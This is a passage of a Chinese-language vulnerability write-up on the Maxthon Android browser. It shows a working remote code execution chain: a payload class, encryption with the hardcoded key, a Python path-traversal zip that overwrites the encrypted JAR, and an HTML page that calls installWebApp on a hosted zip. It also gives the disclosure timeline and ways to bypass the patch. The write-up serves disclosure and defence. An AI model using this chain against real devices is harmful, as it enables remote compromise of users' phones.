 for(v0 = 0; v0 < v3.length; ++v0) {
 v3[v0] = v0;
 }

v0 = 0;
 int v2 = 0;
 while(v0 < v3.length) {
 v2 = (v2 + v3[v0] + (keyBytes[v0 % keyBytes.length] & 255)) % 256;
 junk(v3, v0, v2);
 ++v0;
 }

byte[] v4 = new byte[ciphertextBytes.length];
 v0 = 0;
 v2 = 0;
 while(v1 < v4.length) {
 v0 = (v0 + 1) % 256;
 v2 = (v2 + v3[v0]) % 256;
 junk(v3, v0, v2);
 v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ ciphertextBytes[v1]));
 ++v1;
 }
 return v4;
 }
}

解密有效!

dexfile3

—— 解密成功,只是个有一些 dex 代码的 JAR 文件

dexfile4

—— 现在我们可以反编译代码了

利用任意文件写入三 – 远程代码执行

这时,所有要点聚在一起,我意识到通过任意文件写入漏洞远程执行代码是可行的。

  1. 创建我们的 Java 代码然后将它编译至 APK 文件。
  2. 使用 igexin 的超级 XOR 加密算法加密我们的 APK 文件,使用“5f8286ee3424bed2b71f66d996b247b8” 作为我们的加密密钥。
  3. 创建一个 zip 文件,用来覆盖浏览器的 tdata_tqS304 文件(加密的 JAR 文件)。
  4. 欺骗受害者浏览一个能触发 installWebApp 方法的恶意页面,这会使受害者的浏览器下载并解压缩我们的zip文件。
    此时,受害者的 tdata_rqS304 文件将替换为我们制作的文件。
  5. 下次浏览器再次启动时(可能在移动设备重新启动后),我们的代码将被解密,加载然后执行。

广告库从 tdata_rqS304 文件加载 com.igexin.push.extension.distribution.basic.stub.PushExtension 类,像前面说过的,我们要做的是创建一个带有以下类的 APK。

package com.igexin.push.extension.distribution.basic.stub;

import java.io.BufferedReader; 
import java.io.InputStreamReader;

import android.util.Log;

public class PushExtension {

public PushExtension() {
 Log.wtf("MAX", "Java code execution!");
 try {
 Runtime runtime = Runtime.getRuntime();
 Process process = runtime.exec("id");
 BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
 String s = null;
 while ((s = stdInput.readLine()) != null) {
 Log.wtf("MAX", s);
 }
 }
 catch(Exception e) { }
 }

}

接下来,我们需要加密APK文件。 我们实际上可以重复使用之前开发的解密程序来执行,已经提供了本地加密算法(dec(cipher_text,key)== plaintext / dec(plaintext,key)== cipher_text)。

...
 public static void main(String[] args) throws Exception {
 String ciphertextFilename = "exploit/MaxJunkExploit.apk";
 String plaintextFilename = "exploit/tdata_rqS304";
 String keyString = "5f8286ee3424bed2b71f66d996b247b8";

File ciphertextFile = new File(ciphertextFilename);
 File plaintextFile = new File(plaintextFilename);
 decryptFile(ciphertextFile, plaintextFile, keyString);
 }
...

同理,我们使用 Python 代码来构建 zip 文件。

import zipfile 
import sys

if __name__ == "__main__": 
 try:
 with open("tdata_rqS304", "r") as f:
 binary = f.read()
 zipFile = zipfile.ZipFile("maxFileWriteToRce9313.zip", "a", zipfile.ZIP_DEFLATED)
 zipFile.writestr("../../../../../data/data/com.mx.browser/files/tdata_rqS304", binary)
 zipFile.close()
 except IOError as e:
 raise e

然后我们制作调用 installWebApp 方法的 HTML 页面。

<html> 
<body> 
<script> 
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToRce9313.zip"); 
</script> 
</body> 
</html>

此时如果受害者使用 Maxthon 浏览器访问恶意页面,那么他们的加密 JAR 文件(tdata_rqS304)将被我们制作的 JAR 文件覆盖。

max_rce0

—— 校验 “webapp” 已安装

我们的 Java payload 将在下次浏览器重新启动时解密并执行。执行类加载的代码会尝试使用 IPushExtension 接口转换对象,该操作会失败,但是我们的代码在构造函数中已经执行,并且类加载已经代码正常处理该异常,所以浏览器工作正常不会崩溃。

max_rce1

—— 执行远程代码完毕

漏洞披露流程

  • 2/12/16 – 向厂商公开任意文件写入/远程代码执行漏洞。
  • 2/14/16 – 向厂商公开登录页 UXSS 漏洞和 SQL 注入漏洞。
  • 2/15/16 – 厂商回应说所有问题已修复。提供了本地服务器上的新 APK 的链接。
  • 2/15/16 – 要求供应商直接发送修复后的 APK ,或直接在公网服务器上提供访问。
  • 2/18/16 – 厂商提供新 APK 的公网链接。
  • 2/18/16 – 通知厂商修复程序未正确解决所有问题 (仅解决部分问题)。
  • 2/19/16 – 厂商声明他们正在研究。
  • 3/8/16 – 询问厂商的状态。
  • 3/9/16 – 厂商声明所有问题已修复,但不提供新的 APK 进行审计。
  • 5/9/16 – 厂商在 Google Play 上发布了补丁(“bugs fixed”)。
  • 5/30/16 – 通知厂商补丁并未正确解决所谓问题(此时只解决了两个问题)。
  • 5/31/16 – 厂商表示我的评论正在接受审核(自动回复)。没有后续回应。
  • 7/6/16 – 向厂商查询状态,没有回应。
  • 11/5/16 – 再一次向厂商查询状态,没有回应。

这时厂商已经不再做出响应,而且只有一些问题被修复。

  • 旧设备(<4.2)上的原创代码执行漏洞 – 并未修复。厂商标记为“不再修复”。
  • 任意文件写入,可以导致任何设备远程代码执行 – 没有修复。
  • 登录页 UXSS – 看起来是修复了(一些域名验证,但是没有对输出进行编码)
  • SQL 注入 – 看起来修复了(使用参数化的 SQL 语句)。

其中一个补丁试图根据域名限制哪些网页可以使用 installWebApp 方法。

@JavascriptInterface public void installWebApp(String arg4) {
 URI v0 = URI.create(arg4);
 if((v0.getHost().endsWith("maxthon.com")) || (v0.getHost().endsWith("maxthon.cn"))) {
 String v0_1 = x.a(arg4);
 p.a(arg4, "/sdcard/webapp/" + v0_1, null);
 y.b("/sdcard/webapp/" + v0_1);
 d.b().a();
 Toast.makeText(this.mContext, "webapp installed", 1).show();
 }
}

以前的代码有多个问题,我已多次向厂商指出。

  1. 从 thisisevilmaxthon.com (以 “maxthon.com”结尾)提供的 JavaScript 仍然可以直接利用任意文件写入漏洞。
  2. 该 zip 文件仍然可以通过 HTTP 提供,因此内网攻击者可以强制通过 HTTP 从 maxthon.com 下载一个 zip 文件,然后 MiTM(中间人工具)劫持流量,以间接利用任意文件写入漏洞。

结论

  • 远程 SQL 注入对移动应用是一件事,但是鉴于 SQLite 的限制,提取数据方面可能存在一些问题。
  • 移动应用仍在通过 JavaScript 接口暴露有趣的行为,但是我们将不得不花费更多时间逆向目标应用程序以找出安全隐患
  • 通过动态类加载进行混淆使用可能会导致意想不到的安全隐患

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/article/terminal/91910.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code